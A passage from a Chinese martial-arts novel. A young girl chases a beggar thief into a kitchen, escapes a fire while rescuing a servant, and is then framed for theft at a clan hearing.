此时林行远已经拿起匕首,她本想好好留在这几观战,顺便再听听林道堂还要整什么幺蛾子。因为他先前对自己的无视,她就想看看有没有可萌败下阵来的反而是他得意的弟子。
翻林醒致转念一想,“他想说什么又正什么都无所谓了,权当他是臭狗屎便罢了。眼下把钱袋抢回来要紧,还管这破胡子说什么?”
想到这里,她即刻起身,见母亲没注意到自己,便趁乱跟着忙碌的小厮,一路紧随那小乞丐的步伐,向后房奔去。
这小乞丐方才在桌子底下,大包大揽了半天,什么鸡鸭鹅肉统统都被他塞入怀中的破牛皮袋子。
别看他这一身装备全都破破烂烂,但每一件都是他好不容易偷来的。此时,他正护在胸前的这个牛皮袋子也不例外,这正是他从过往的骆驼商队车上扯下来的,如今正好派上用场。
但是他还不知足,他此番费劲混入宴席,定是
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要满载而归回去,毕竟这样排场规模的酒席哪怕是在整个邳州之内都难遇上几次。若不能一次吃个饱,带上几只鸡鸭回去,他这一趟不就白来了。
乞丐少年趁着夜色,一路鬼鬼祟祟地钻入厨房。
厨房内已经做好的饭菜放在一边,但里面却空无一人。
“真奇怪,这厨子和下人都去了哪里,怎么一个人也没有?”但男孩又想了想,“没有人岂不是更好,我想拿什么就拿什么,谁也管不了我。”
他即刻将手伸向热气腾腾的大白馒头,一个、两个、四个,他足足又向怀中塞了六个大馒头。
紧接着他目光发亮,将视线直接落在了泛着油光的烧鸡上面。
就在他准备再次伸手之时,竟从身后传来一声厉喝:“哪来的小贼,敢来赤龙帮偷食吃!”
只见一个膀大腰圆的小厮此刻正出现在门口,他顺手抄起锅内的一把大铁勺向那少年扑了上来。
然而他哪里是那乞丐少年的对手,小乞丐嘿嘿一笑,眼中丝毫没有被发现的惊慌。看来他干这活也不是一天两天了,偷东西不被发现那是手艺,偷东西被发现,那叫……那叫刺激!
他从灶台上跳下,向后连退几步,那小厮的铁勺。砰,当当一连砸了三下,连那皮孩子半根汗毛都没有伤到,反倒给自己累的气喘吁吁。
那小厮双手举起铁勺,还欲再击。却见铁勺中间漏了一个大洞,他那只眼睛刚好透过大洞,正看到小乞丐对他嬉皮笑脸。
“你个小混账,让我逮到你,我扒了你的皮!”
“哈哈哈”,小乞丐发出一连串的笑声。
“那你来呀,不抓我,你就是街头赖皮狗,抓不住我,你就是乌龟儿子王八蛋!”
那小厮嘴笨,根本说不过他,此刻却已被他气得满脸通红,二话不说便冲上前去。
叮叮当当,这二人所过之处尽是一片狼藉。
几下过后,小乞丐抄起手边一个陶罐,便向那人砸了过去。
小厮被这小子当头甩了一脸辣椒粉,他忙用锅遮挡,可这勺中一个大洞,辣椒面一股脑全都透过孔洞冲进他眼睛之中。
一时间,那小厮抱头嚎叫,显然是被辣椒辣得痛不欲生。
一旁的林醒致本来窝在一个灶台之后想冲上去把这小毛贼一下子按住。却不想“半路杀出个程咬金”,那小厮竟出现在厨房门口。
她也只好将已经探出了半个身子,急忙撤回,按兵不动,且看着小厮同那小乞丐斗上一斗。
只是林醒致原本是希望这小厮能给这小毛贼一点苦头吃吃。却不料被他捉弄。这小四的动作直逗得她心中发笑,竟不自觉地希望小乞丐能顺利逃掉而不被抓住。
但直到他挥手将辣椒面扬起之前,她的心中都是如此想的,可当看到那小厮倒地痛苦的神情之时,心中却怎么也笑不出来了。
“这小贼手法当真狠辣,可那人却又说抓住他就扒了他的皮,不管了,总之别让这小子跑了。”
就在那乞丐猛踹小厮之时,林醒致从灶台之后一跃而出。
“你住手,偷东西还想伤人性命?”
20. 火光冲天
那小乞丐的确没想到这厨房中居然还有第三个人的存在,着实被吓了一跳。但这种场面他见得多了,更别提现在出现的是一个小姑娘。
他冲着小厮头上狠狠来了一脚,那小厮即刻没了声音,彻底昏死了过去。
小乞丐定睛瞧了林醒致,总觉得她身形打扮有些眼熟,似是在哪里见过。但当他再看到那怒气冲冲的脸时,即刻想了起来,紧接着一拍脑袋道:“哦,我当是谁?原来是追了我半条街的瘟神,臭丫头,你诚心找我事儿,是吧!”
林醒致又上前一步:“想我不找你的事儿,就把你偷来的钱袋还给我!”
“钱袋钱袋,你就知道钱袋,那破钱袋里也没几个臭钱,小爷我早就花光了!”说罢,还冲着林醒致做了个奇丑无比的鬼脸,向她挑衅。
林醒致见他如此无赖,当即横扑上前,左手向他腰间探去。
那少年反应极快,他心知这瘟神是非要在他身上搜出什么东西不可。
“这臭丫头心急拿回钱袋,可我身上哪有什么钱,绝不能让她坏了我的好事,我且快快将她击晕。”
他想到这里,向后一退,一只手抓向林醒致的手腕。
林醒致脚下行林家的“流云步”,快速避过其锋芒,右手一搭,将他伸来的手格挡开来。不料那少年却立时变招,向上猛抬手肘,顺势击中她的下巴。
林醒致吃痛,向后急退几步。
“怎么样?论功夫你且比我差远了,就凭你,想从小爷我手中抢回东西,简直是傻人做梦。”
“噗嗤。”
对面的小丫头轻声笑了出来。
小乞丐脸色一变,他不知道自己哪里说错了。虽然自小生长于市井之间,受尽他人白眼,但他此生最不喜别人嘲笑于他。而眼前这小姑娘的笑声却刚好触碰到了他敏感的神经,让他浑身不自在。
“你笑什么?”
“哈哈哈哈,明明是痴人说梦,你这小毛贼,大字不识一个,还敢耀武扬威。”
“我偏要耀武扬威!”
小乞丐显然已被林醒致一番话给激怒,他抓起一个热水壶便向对方扔了过去。
林醒致头一歪,那铁壶把竟堪堪擦着她的耳边飞过。
只听“啪”的一声,那水壶直直撞在角落里,一壶热水全都洒在墙上。一时间热气腾腾,飞溅的水点竟烫得笼子里还未拔毛的大公鸡嗷嗷直叫。
他二人便在这方寸之地中接连出招,掌下呼呼生风,拳拳相交砰砰作响。
“你跑不了,乖乖交出来!”
林醒致趁机抱住那人腰身。
小乞丐吃了一惊,他浑身脏乱不堪,这臭丫头居然为了不让他跑掉,竟敢直接抱住他。就在他惊讶的当口,只觉脚下一轻,他居然被人“连根拔起”。
小乞丐反应极快,双手死死抓住林醒致衣领,他二人一同“咚”地撞向门口。
然而就这一下,厨房门口的横木却已经“咔哒”一声将门紧紧封住,只是他们都没有注意到这个细节。
林醒致后背落地,重重摔在地上。而那乞丐少年则半个头撞在木门之上,此时他已眼冒金星,鼻子也流出了血。
“该死的臭丫头”,他翻身爬起,冲着林醒致脸上就是一拳。林醒致躲闪不急,左脸中了他一拳登时肿起,她顾不得疼痛,左手成掌硬接住那人砸来的第二拳。
那少年面色狰狞,他二人双手皆相互博弈运劲。他本来力气不小,但奈何长期营养不良,骨瘦如柴,内力本就要再折三分,再加上先前那一撞,已经头痛难忍,此刻正强撑着与林醒致抗争。
两个小娃娃在灶台之间你争我斗,颇有点你死我活的态势。
到底这少年还是比林醒致大上几岁,逐渐占了上风,将林醒致的一双手已经逼至面前。
眼看着林醒致的手腕就将向后折断。
突然,那少女大叫一声:“我连大蛇都不怕,还能怕你!”
说罢,她双目圆睁,两手一抬一掌击出,竟将那男孩甩到灶台之后,直落在一堆柴火之上。
小乞丐完全没想到自己竟然被这丫头一下子推出数丈之远,眼中满是不可思议。
林醒致似乎也全然不知自己这一掌是从哪里发来的力道,满脸震惊地看向双手。
而那乞丐从地上爬起,他还想向那小姑娘再冲过去,却听见门外传来一阵急切的敲门声。
“今天算我倒霉,居然碰上你这瘟神两次,我们走着瞧!”
这乞丐少年此时已不想和这小姑娘再纠缠下去,转身寻找窗户准备跳窗逃走。
“火!”林醒致大喊。
小乞丐低头看向自己衣角,只见火苗正沿着边缘向上燃烧。
他忙在地上翻滚,终于将火苗扑灭,却一回头看到身后的柴火堆不知何时已经演变成熊熊大火。
然而林醒致却向他直冲过来,口中不知在念叨着什么。他哪里看得清楚,心道:到了这般地步,这瘟神居然还要来抓自己。
他反手抓起地上一根燃烧的木柴,猛地向林醒致面门掷来。
林醒致急忙闪避,再定睛看向那少年的位置时,小乞丐早已撞开身后的小窗,消失在黑暗之中。都只留下厨房内愈演愈烈的大火和倒地不醒的小厮。
这火是何时烧起来的,只怕林醒致和那小乞丐都不清楚。
实际上早在那小厮与小乞丐打斗的时候,便已经将灶台上的一个油灯击落在地。只不过,在随后的争斗过程中,那小乞丐为了躲避林醒致的出击,沿着灶台飞腾跨越,不知什么时候就在鸡飞狗跳之间将一大坛酒踹翻在地。
而当发现着火之后,林醒致是想让那少年同自己一起灭火,可她却忘了,这火越是烧得旺,人们越是无心注意到什么小贼,自然他逃脱也就十分容易了。
只见,通天的火焰拔地而起,顺着房梁汹涌而上,瞬间将那窗户吞噬在一片火光之中。
这火苗一碰到烈酒,便迅速蔓延,顷刻间屋内到处都是烟雾弥漫。
林醒致眼睁睁看着火势渐起,心中深知不妙,她不再理会那跳窗逃走的毛贼,转身冲向厨房的大门。可此时烟雾浓郁,她又哪里看得清楚。
她从衣服上撕下一块布条,沾上地上的水,忙将口鼻掩住,一路摸索着寻找出去的大门。
好在林醒致的记性极好,只不一会儿的功夫,她便找到了门闩。可惜这东西扣得极紧,她身高又够不到,须得踮起脚来方能碰到那木栓的边缘。
此时门外已经传来嘈杂的声音,外面人们越聚越多,见房中火势冲天,下人们都纷纷前来灭火。
“走水了!走水了!快来灭火!”先后赶到的小厮和丫鬟大声叫喊着。
林醒致顾不得那么多,她抄起地上的大铁勺,一下一下重锤这门闩。
由于她右手的伤口才恢复不久,此时用尽全力,那刚刚愈合的疤痕竟突然崩开,血液再次流出。
这时,房中扑面的热浪不断袭来,林醒致被烟雾呛得头晕脑胀,再不出去,她怕是要死在这里!
“不行!”
就在她即将觉得自己晕厥过去之时,一只冰凉的手覆上她的脚腕。
“救······救我。”
一丝沙哑的声音传来,原来是那先前晕厥的小厮,此时他被
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迫苏醒,想让林醒致救他出去。
林醒致没有停下手中的动作,同时运气调息,汇聚全力。低喝一声,狠狠撞向门板。
“砰!砰!”
这木门已被大火烧得发黑,终究在她的撞击之下,“哗”地一声,垂直倒下。那门外的人们急忙躲避,所幸并未被这沉重的木门所击中。
瞬间大量新鲜的空气涌入林醒致的鼻息,同时来自于外在的喧闹和嘈杂也一同向她耳中袭来。
“有人!”
“什么?这屋内还有人!”
“快来人,救人!”
林醒致稍微镇定片刻,便赶紧招呼小厮救人,转身再次冲进烟雾之中。
她摸索到那小厮的身体,将他半个身体搭在自己肩上。
“嘶······”手掌传来一阵剧痛。
林醒致终究还只是一个孩子,这小厮身体十分沉重,压得她难以走动半分。她咬紧牙关,用尽全身力气将他拽起来,一步一步地拖至门口。
终于在火舌即将触碰到他们衣角之时,她奋力向前,这二人一同跌出门外。
此时,躺在冰凉的青石板之上,林醒致只觉得自己又活了一次。她大口喘息着,白皙的脸颊已经被熏得乌黑。她的手臂和衣衫也被肆虐的火苗灼烧得破碎不堪,整个人看上去极为狼狈。
与此同时,位于林家庭院中的众人也已经发现了后院厨房的火势,纷纷赶来。
院子中一片混乱,随着一波接一波的下人提着水桶奔走接力,不断将水泼向火龙,最终将肆虐的火势彻底控制住,只余下漂浮在上空的青烟和刺鼻的气味。
“致儿!致儿!”
宋云莲发现女儿离席,当即跟随奔走的下人们赶来后院,却刚好看到坐在地上喘息的林醒致。
林风桥紧随其后,他本不懂妻子为何要冲着火堆这边跑,可当看到女儿他才明白,什么叫母女连心。
林醒致听到母亲的呼声,赶忙抬起头。她看到父母正拨开人群,疾步向她奔来。
一向遇事不慌的宋云莲此时脸上竟写满了恐惧和担忧,她一把紧紧抱住女儿的肩头。
“你跑到哪去了,你要急死娘了,你知道吗!”
宋云莲急得声音都变了调,下一秒,她惊觉自己忘了什么,赶忙松开抱住女儿的手,上下打量着林醒致。
“你有没有哪里受伤?啊,伤到哪里了?”
林醒致原本只觉得浑身上下都在疼,但看到母亲焦急的神情,她还是不自觉地落下泪来。
林风桥问道:“你这丫头怎么跑到火场里去了!”
林醒致忍不住咳嗽了两声,哑着嗓子道:“爹,娘,我没事······都怪我······”
“小妹!”
远处一声“小妹”传来,混乱的人流中,林行远一瘸一拐地冲了出来。他方才休息好转,此时却听到人们高呼“走水”的消息。他担心家人安危,一时心急,竟只穿了一只鞋就跑了出来。
他一路蹦跳着跑到跟前,一改往日的玩笑之色,眉头紧皱:“你······你怎么样了?”
林醒致回道:“我没事。”但她又看到林行远滑稽的模样,心生好笑,笑了出来。
“你还有脸笑!你知不知你现在是一副什么样子!”林行远愤愤道。
林醒致看向自己,浑身黑漆漆的,她叹息一声,只觉得自己福大命大,竟入得了蛇窝,也闯得了火海。
“好了好了,大难不死,必有后福。”林风桥将他们母女二人扶起,缓缓走向一边。
可林醒致刚刚起身,没走上几步,便晕厥过去不省人事。
21. 难证清白
架不住这林家下人众多,一人一桶水就将这熊熊烈火快速扑灭。好在这林家建筑虽然古老但是各种用料设施都属上乘,这火势看似很大,但却未烧及内里。
只是这诺大的厨房,半个都是被火烧过的一片漆黑。
这林道堂站在烧得漆黑的厨房门前,气得胡子都吹了起来。
“来人,来人!”
“老爷,在。”一个小厮从身后跑了过来,弯腰低声道。
“那出来的人呢?”林道堂压低声音,眼睛却死死盯着那被烧成灰烬的窗户。
“那人······那人,已经转移到柴房去了。”
“把他给我带过来,我要亲自问!”
“是,老爷,小的这就去。”
那小厮低头后撤,快步消失在人群中。
林醒致朦朦胧胧中只觉得眼前火光一片,但她似乎什么也看不到,挣扎之中,耳畔传来急切的叫声。
“致儿,致儿!”
她听不清,耳朵如同浸入水中一般,便再奋力去听。
“致儿,致儿!”
“小妹!”
林醒致越听越觉得声音熟悉,越听越清晰,她猛然睁开眼睛,正看到母亲握着她的手,轻轻擦拭着她的脸。
原来耳边的呼唤正是母亲的声音。
看到母亲的脸,林醒致悬着的心总算落了地。她稍稍放松,撑着身体缓缓坐起。
“致儿,有没有好些?”宋云莲问道。
林醒致点了点头。
“你怎么会跑到厨房,发生什么事了?”一旁的站着的林风桥赶忙追问。
方才那林家后厨燃大火之时,众人都亲眼看到林醒致破门而出。这原本应该好好待在席上的小丫头,怎会去了厨房,其中缘由他若不提前问清,只怕一会儿不好向兄长交代。
“我······我今天在酒桌上又看到了早上抢了父亲钱袋的小贼。”
“你是说早上那个飞贼?”宋云莲一脸惊讶。
“对,他不知怎么混了进来,就躲在酒桌的红布之下,趁人不注意的时候,就把桌子上的菜品偷偷取下,倒入自己的袋子之中。”
林醒致咳嗽两声接着说道:“我见他向后院跑去,便也跟着他,想着找机会让他把钱袋交出来。我看着他进了厨房,本想出手,却不料一个伙计出现,他二人打斗起来。那小厮不敌他,很快晕了过去,待我出现,他却仍不肯交出。”
“后来,便起了火,火应该是油灯掉在了地上,我心知并非我二人打斗之时所致,可现在又哪里有证据证明得了的。”林醒致叹息一声。
林风桥所有的担忧全部都涌上心头。女儿从后厨之中出来,就算她将来龙去脉说个清楚,但不会有人信她的话的······他只求他那长兄能够行行好,不与他一般计较。
他虽然心中这样祈祷,但也确实明白,他那位挥金如土的大哥自是挥霍无度,但却又惜金如命。今日是整个赤龙帮的大日子,女儿却又弄出如此动静,除了重金赔偿,恐怕他也没有什么好办法。
眼下即使能将那小毛贼抓回来,只怕也无人能够证明这起火的真正原因。有道是:黄泥落裤腿,不是屎也是屎。这话虽然糙,但是理却是这么个理。
就在他束手无策之时,门外跑进来一名下人,低声道:“林老爷请诸位到大厅论事。”
宋云莲和林风桥对望一眼,又看向女儿,他二人心中都不免升起一丝不安。
此时夜色已深,赤龙帮的议事厅却仍灯火通明。
林醒致被两名下人“请”到厅中之时,那林老夫人正端坐在上座之上,她闭着眼睛,面上全无表情,口中似是在默念什么,手里则细细捻动着一串沉水佛珠。
而大伯父林道堂则坐在一旁,目光锐利,林醒致刚一进厅,他的眼神便如鹰隼一般紧盯着她。
至于那林承嗣则站在林道堂身后,嘴角正挂着一丝若有若无的讥笑之意。
只见堂前堆放着大大小小烧成灰烬的东西以及并未受火焰波及的剩余菜品。
林醒致面色苍白,坐在椅子上,她虽不甚明白将这些东西汇聚于此的用意,但也大致估量出,是要让她赔偿损失。
宋云莲和林风桥也相继落座,他们二人在来的路上已想了清楚,若是要论及赔偿,大可赔了他们便是,就算是砸锅卖铁也不能落人口舌。
宋云莲则心中另有打算。今日宴会之上她两个孩子接连出事,这一趟贺寿之行本就困难重重,现如今正好有理由同他家不再来往。
林道堂见他们都已到来,左手捏住胡须道:“醒致,今日厨房大火之事,你怎么说?”
林醒致深吸一口气,正欲将事情和盘托出。
却见那林承嗣上前一步:“爹,这还用她说吗,她在席上吃不痛快还要来厨房里偷吃,被小厮发现,心虚打翻了油灯,引发大火。”
“承嗣,不得无礼!”林道堂语气严厉,他喝斥林承嗣,示意他马上住口。
但林醒致则不屑地摇了摇头。
宋云莲马上开口:“大哥,事情并非如此,事情是······”
“让她来说。”
此话一出,厅堂之中顿时安静下来,原来是林老夫人发了话,她打断了宋云莲的话,却要林醒致亲自说。
林醒致看了母亲一眼,缓缓开口,将整件事情的来龙去脉,原原本本地说了一遍。
“哼,荒谬!”只见坐在对面的一位白胡子老头猛地一拍座椅的扶手,厉声道:“一个小乞丐能有这般本事?他既能在我赤龙帮来去自如,当我赤龙帮是什么地方?你这番说辞,当我们都是三岁孩童吗!”
此时另一位身着赭石色锦袍的中年女子也起身:“你这小丫头说话滴水不漏,只怕是有人教你的吧。”她说罢,一双眼睛却斜睨向对面的林二夫妇。
那言语似是在说林醒致小孩子学了大人的话,敢在大庭广众之下撒谎,而那眼神便是赤裸裸地指向林二夫妇便是指使之人。
而此时堂其他宾客也小声讨论起来,他们似是都在讥笑,笑着林风桥一家都是乡下人,没见过什么世面,就连宴席上的美食都还要来到厨房里偷吃。
他们的声音极其刺耳,听得林醒致的脑袋愈来愈痛。她狠狠看向周围众人,此番生平头一次见到如此多不分青红皂白之人,只觉得着一众男女老少实在是面目可憎。
“我没偷吃,我就是去抓贼的!”林醒致冲着头上锤了几下想让自己保持清醒。
就在她话音刚落,远处一名丫鬟一路跑到
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厅堂之上,冲着那林老夫人的耳边说了几句悄悄话。但见林老夫人脸色一变,并未言语。
林道堂却注意到这丫鬟的动作,开口道:“娘,可发生什么事?”
林老夫人张了张嘴,却欲言又止,她随即摆了摆手。
林道堂瞬时便懂了母亲的意思,对那丫鬟说:“老夫人不便,就由你来说。”
那丫鬟打了一个激灵,她看了看周围,此时众人已将目光都齐齐汇聚于她身上。她缓缓开口:“回老爷,夫人和小姐的房间进贼了!”
“进贼?”
“什么?进贼!”
一时间人们议论纷纷,这偌大的林家府邸,赤龙帮内尽是习武高手,众目睽睽之下怎会进贼?
老夫人开口道:“既然夫人和小姐的屋里都进了贼,看来今天你们这些弟子只怕全都喝酒喝昏了头!”她端起茶盏前浅尝了一口,便再将整个茶盏狠狠摔在桌上。
那几名弟子连大带小,以及院中管家和护卫都齐齐跪在地上。
“老夫人,是我们办事不利,请您责罚!”
“结合方才醒致所说,看来这府邸中的确进了贼,只是······”老夫人话说一半,却被林承嗣即刻接了过来:“只是怕不是外贼而是进了内贼!”
“祖母,咱别跟她废话了,找人搜一搜她的身,便能知道这小丫头偷没偷东西。”林承嗣挥动左手,示意下人上去将林醒致抓住。
只见位于林醒致后方的两个丫鬟快步上前,将她一下子从椅子上揪了起来。这两个丫鬟看上去都是二十出头的的年纪,个头不高力气却大得惊人,她们两人分别提起林醒致的一只胳膊走上前去。
林醒致奋力挣扎:“放开我!放开我!”可她刚刚恢复,体力已经消耗殆尽,此时右手又旧疾复发使不上力气,一时间却也无法挣脱两个大人的拖拽。
宋云莲见女儿受到这般对待,便要发作,却觉得被一只手按住。这人正是一旁的林风桥。他摇了摇头示意宋云莲不要出声。
然而宋云莲虽然不懂林风桥的意图,却还是悄悄坐回身去。
林醒致觉得自己被如此对待,当真受了奇耻大辱,她奋力挣扎,那两个丫鬟却丝毫不停。她觉得那两人按在自己臂膀上的手越抓越紧,似乎要将她的胳膊折断,情急之下她向着其中一人的手腕上狠狠咬了一口。
那其中一个丫鬟吃痛,即刻将她扔在地上。
先前那位身穿锦袍的女子又说:“这丫头脾气可真倔,还会咬人呢。”
“是啊,怎么还咬人······”
宋云莲再也忍不住,起身对林道堂言道:“大哥,我知致儿是什么样的孩子,她是决计不可能偷东西的。”
林道堂浅哼一声:“能不能,是不是,一查便知。”
他看向那两个丫鬟,示意她们对林醒致进行搜身。但林醒致哪里肯从,她挣扎着从地上爬起,不肯让她们碰到自己。可此时那两个丫鬟却已经一手分别抓住她两条胳膊,另一只手向她怀中探去。
只见那丫鬟一拽,一个白色布料的小包裹从胸口露出一角。
林承嗣则眼疾手快,一个箭步上前将这小包顺势抽出,攥在手中,转身立于厅堂中央。
“爹!你看这是什么!”
22. 一盆脏水
堂中众人的目光此刻又齐齐看向林承嗣手中的包裹。
然而坐在一旁的林风桥和宋云莲却似乎都松了一口气。这东西不过是他们刚进城之时在城门口买的一个小玩意。倘若将这东西打开,便能证明林醒致的清白。
林承嗣手中举着这个粗布包裹,绕着堂中走了一圈,朗声道:“各位都看好了!”
他缓缓打开,一阵微风自堂外吹来,他手中小包即刻散出不少面粉。
林醒致本来还在挣扎,此时却也面露惊讶之色。
她怀中装着的分明是个布老虎,怎么会有粉尘出现?
待到全部打开,只见林承嗣手中布料之上却盛放着三块糕点。
瞬时间,全场一片哗然。
林醒致大惊失色,她忙转头看向母亲,却见他父母二人也皆是满脸惊诧。她低着头,正在脑海中疯狂思索在厨房之中与那小贼打斗的细节。
她与那小贼自始至终拳掌相接,待到烟雾顿起之后,她虽不再向那小贼进攻,却也着实挨了两掌,只怕就是在那之时,小贼趁机将她怀中的布老虎掉了包。
林道堂此时正目不转睛地盯着林醒致:“孩子,你还有何话说?这糕点你又作何解释?”
林醒致抬起头,一字一句道:“我当然要解释,这东西虽是从我怀中搜出,但并非我所偷,方才我与那小贼打斗之时,他趁着烟雾乍起,将这糕点趁机偷梁换柱罢了。”
“他为何要将着糕点塞入我怀中?莫非他早就猜到,这林家人会污蔑我偷去厨房的东西?”她左思右想,不得其解,突然脑中一绷,恍然明白。
下一刻,林承嗣将手中的糕点尽数抖落在地,其中一块正好摔成两半。只见一枚圆滚滚金闪闪的椭圆形物体从中滚出,一路朝着林老夫人滚去,正好落在了她的脚边。
“这······这是什么?”
堂中众位长老皆齐声惊呼。
众人所见,那地上滚落的正是一枚镶嵌着翡翠的大金戒指!
此时站在老夫人身边的丫鬟连忙道:“这便是夫人丢失的戒指!”
“好你个林醒致还想抵赖,你分明就偷了我娘的东西!”林承嗣指着她,作势便要上前打她一耳光。
林醒致知道那乞丐飞贼将偷来的财宝都藏在了食物之中,而他逃窜之时,只需将东西藏在自己怀中,便可神不知鬼不觉地嫁祸给自己。
林醒致坐在地上,直觉得胸口憋闷异常:“那毛贼将偷来的东西把我怀中的布老虎换了,想要嫁祸于我。”
“嫁祸?林醒致你真是不见棺材不落泪啊!”
林承嗣狠狠瞪了她一眼,转身向堂上走去,将手中的戒指交给祖母手上。
那林老夫人接过戒指细细摸搓,言道:“你是说,那小贼偷梁换柱?这不过都是你的一面之词,可是有何证据?”
林醒致知道这林老夫人就是故意刁难她,但无论如何不能如了她的意,当下赶忙思考有什么证据。
突然,她想起那被小毛贼打晕的厨房小厮。她也算那小厮的救命恩人,若那小厮已经苏醒,只需将他带到这里便能证明,她口中的小贼确实存在。
想到这里,林醒致即刻开口:“我方才在火场之中救出一名小厮,他可以为我作证。我那时刚好看到那小乞丐正在偷东西被这小厮发现。所以,他也见过那小毛贼的样貌。”
林老夫人同林道堂对视一眼,林道堂便示意下人将那名小厮带到堂前。
不一会儿的功夫,那名小厮就被两名家丁提了上来。只听得“扑通”一声,他便跪下,在地上不住地磕着响头。
“行了,我且问你,方才你在厨房中可曾见过一名乞丐模样的毛贼在偷东西?”
那小厮刚想开口,目光却瞟到同样坐在一旁的林醒致,眼睛突然瞪大,他只犹豫片刻便脱口而出:“不······不曾。”
林承嗣上前一步,一巴掌抽在那小厮脸上,只见他左侧脸颊登时红了一片。
“说,你说的可是实话?”
那小厮赶忙捂住左脸,颤颤巍巍地说道:“小的,小的,口中没有一句假话,我今天的确进了厨房,但真的没有看到半个什么小乞丐的身影。”
“那你且说,方才在厨房中究竟发生了什么?”
那跪着的小厮接着说:“我······我听管家的回去想要再抱两坛酒到院中,却不料一进厨房就看到这位小姐正在灶台之上偷东西吃。”
“你胡说!”林醒致一听他满口胡言,便要发作,却被身后的两个丫鬟死死按住,动弹不得。
那小厮显然被林醒致吓了一跳,不愿再说下去,可此时林承嗣的一只手缓缓覆上那人肩头。
“一五一十乖乖说出来,你还看到了什么?”
那小厮脸上闪过一丝惊恐之色,接着道:“我好心劝这位小姐不要在厨房逗留,可她非但不听劝说还拿这铁勺打我,后来我便晕了过去,什么都不记得了。”
“你这混蛋,在说什么,分明是那小贼和你在灶台打斗才碰翻油灯。更何况,是我出言阻止他继续攻击于你,更是我将你·····唔······唔”林醒致气得要冲上去,却仍被两个丫鬟捂住嘴巴,想不到此时竟然连给自己辩解也不成。
“致儿!”宋云莲对众人朗声道:“怎可不让我女儿辩解,你们不分黑白,不讲道理,你说我儿尽是一面之词,那这小厮口中所出,便不是一面之词了吗?”
一时间场上众位看客似乎都觉得宋云莲此话有理,只可惜,这东道主林家大爷的院子,林家大爷的宴席,来者莫不都是日后需要倚仗赤龙帮的各路人物,他们又如何肯为这普通的林家二房出头。
只见林承嗣看向众人的反应,又看向满头大汗的小厮,满意地点了点头,他转身对父亲拱手道:“爹,这小厮看样子所言非假,林醒致当着众人的面还在撒谎。”
林道堂看了一眼儿子,捋着胡须瞧向坐在最后的一名中年男子。
“庆华,你怎么看啊?”
此人是四雁河镖局的总镖头薛庆华,他座下的四雁河镖局与这赤龙帮多有些生意上的来往,此番便前来祝寿。
然而早些年林老帮主还在时,四雁河镖局与赤龙帮其实并不对付,原本应该接受镖局的薛大少爷颇有些要与赤龙帮对抗到底地态势,但很快他便在一次护镖行动中意外身亡了。此后,原本并不受宠的薛家二少爷薛庆华顺理成章地继承了四雁河镖局,而他也成为赤龙帮林帮主的座上宾。
只是这薛庆华的脾气同林道堂嚣张跋扈
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的性格有所不同,他为人宽厚,少言寡语,与这林家大爷实属两类人。所以坊间常有传闻他是有什么把柄握在这林道堂手中,只是具体事实如何,人们就不得而知了。
那瘦削的中年男人没想到林道堂居然会问他的意见,轻声言道:“这是林家帮主的家事,庆华本不必多嘴,我看这位小姑娘字字斩钉截铁,看着不像假话,倒是这小厮未言几句却已虚汗满面,只怕是心中有鬼。”
他话音刚落,坐在他对面那白胡子长老厉声道:“薛总镖头,此话是说,我赤龙帮当真如这小丫头所言进了贼不可吗?”
薛庆华抬眼看向那白胡子老头,摇了摇头:“非也,我只是针对方才她二人所言,进行判断,并无它意。”
那白胡子老头白了他一眼,看了林道堂眼色,坐了回去。
“就是就是,我爹爹说的极是,我一直站在这里听,总觉得这位姐姐不是撒谎的人。”坐在薛庆华身边的一位小姑娘接着说道。她容貌娇俏可人,左眉之上正有一颗如红豆大小的红痣。她便是薛总镖头的独女薛红樾。
这小姑娘虽然年纪是在场中最小的,可一双眼睛却看得分外明白。面对是非不分的大人,她丝毫没有顾及,看到什么便说什么,心里怎么想的就怎么说。
“哈哈哈,庆华所言有理,我看此事便到此为止吧。”林道堂开口说道,装作一副不计前嫌的样子,他看向林风桥:“二弟,你且将醒致带回去,下一次可不能再乱跑了,都是林家人,有什么需求大可提出来,不必亲自动手。”
林风桥起身,拱手作礼:“是,大哥所言极是,我定带她回去严加管教。”
林道堂摆了摆手:“小孩子,调皮些总是正常的嘛······”
还未等林道堂说完,林醒致一个起身将那两个丫鬟顶开。方才她一直在积蓄怒火,此刻却实在是不得不发,情急之下居然将按住她的两个丫鬟一同挣脱。
她立在堂前大声道:“我没偷,也没抢,你话里话外就是想将这盆脏水扣到我的头上。装得一副大人不记小人过的模样,当真恶心得狠!”
“我呸!”林醒致假装作势啐了一口吐沫。
嘿!出乎意料!
坐于堂上的林老夫人和林道堂都一同皱起了眉头。
在场众人虽心中观点各不相同,但也的确佩服这小丫头的勇气,不禁暗暗道:“这小丫头虽然粗俗但却也有几分骨气,比之其父可不同得多了。”
林风桥原本见此事已经就此了结,打算赔偿兄长之后便带妻儿赶快离开这是非之地,可他哪里想到,林醒致年纪尚小,心气又高,怎地忍得了平白受这般委屈,势必会再为自己于人前辩争。
林风桥快步上前,想要将林醒致拉回身边,却见她已经两步上前揪起那小厮的领子。
“你说,是不是我站出来阻止那小乞丐打你,是不是你醒来求我从火海中救你?你说话!”
林醒致愤怒至极,一双大眼睛直勾勾瞪着那小厮。而那小厮全身更是哆哆嗦嗦,“嘭”地一声,他竟然受不了林醒致的追问直接昏了过去。
“好你个林醒致,当着众位的面你就敢恐吓他人,看我替二叔教训你!”说罢,林承嗣见她死不承认,便趁此机会想要再立威风,就此冲了过来。
23. 委曲求全
啪!砰!
二人拳脚相交,劲道凌厉。
林承嗣比林醒致足足高上半个身子,要论对打这小姑娘自然是不在话下。他即刻使出林家掌中的一记“黑虎掏心”,直捣林醒致胸口,竟然毫不留情。
此时若放在平日,林醒致或许会格挡闪避。但此刻,她被冤枉之后怒火中烧,掌法杂乱无章,又因为身体才刚刚恢复,行动并不迅速,所以硬挨了林承嗣一掌。
宋云莲想要冲将上前,却被林道堂拦住,言道:“你女儿偷了东西不承认,便让她堂哥教训教训她。”
宋云莲气不打一处来,便要对林道堂出手,却又被林风桥拦下。
林醒致受了一掌倒在地上,只觉得胸口火辣辣地疼痛不断传来。她咬紧牙关,从地上爬起。
她自小骨子里就是个不服输的性子,你愈是蛮横无理,仗势欺人,她便越不肯屈服,心道:“你们想要故意为之,我偏随你的愿,默不作声是错,出言解释也是错,想来总是要由我背上这错误方才甘心。那你们便试试。”
林醒致抹去嘴角的血迹,双目中尽是坚定之色,那眼神似乎是在对林承嗣说:“你放马过来吧。”
林承嗣见自己一击并未将她放倒,即刻怒气再涨三分,不停对林醒致出言辱骂。其言语之中不乏对她“小贼”、“乡巴佬”等类似词语的攻击。
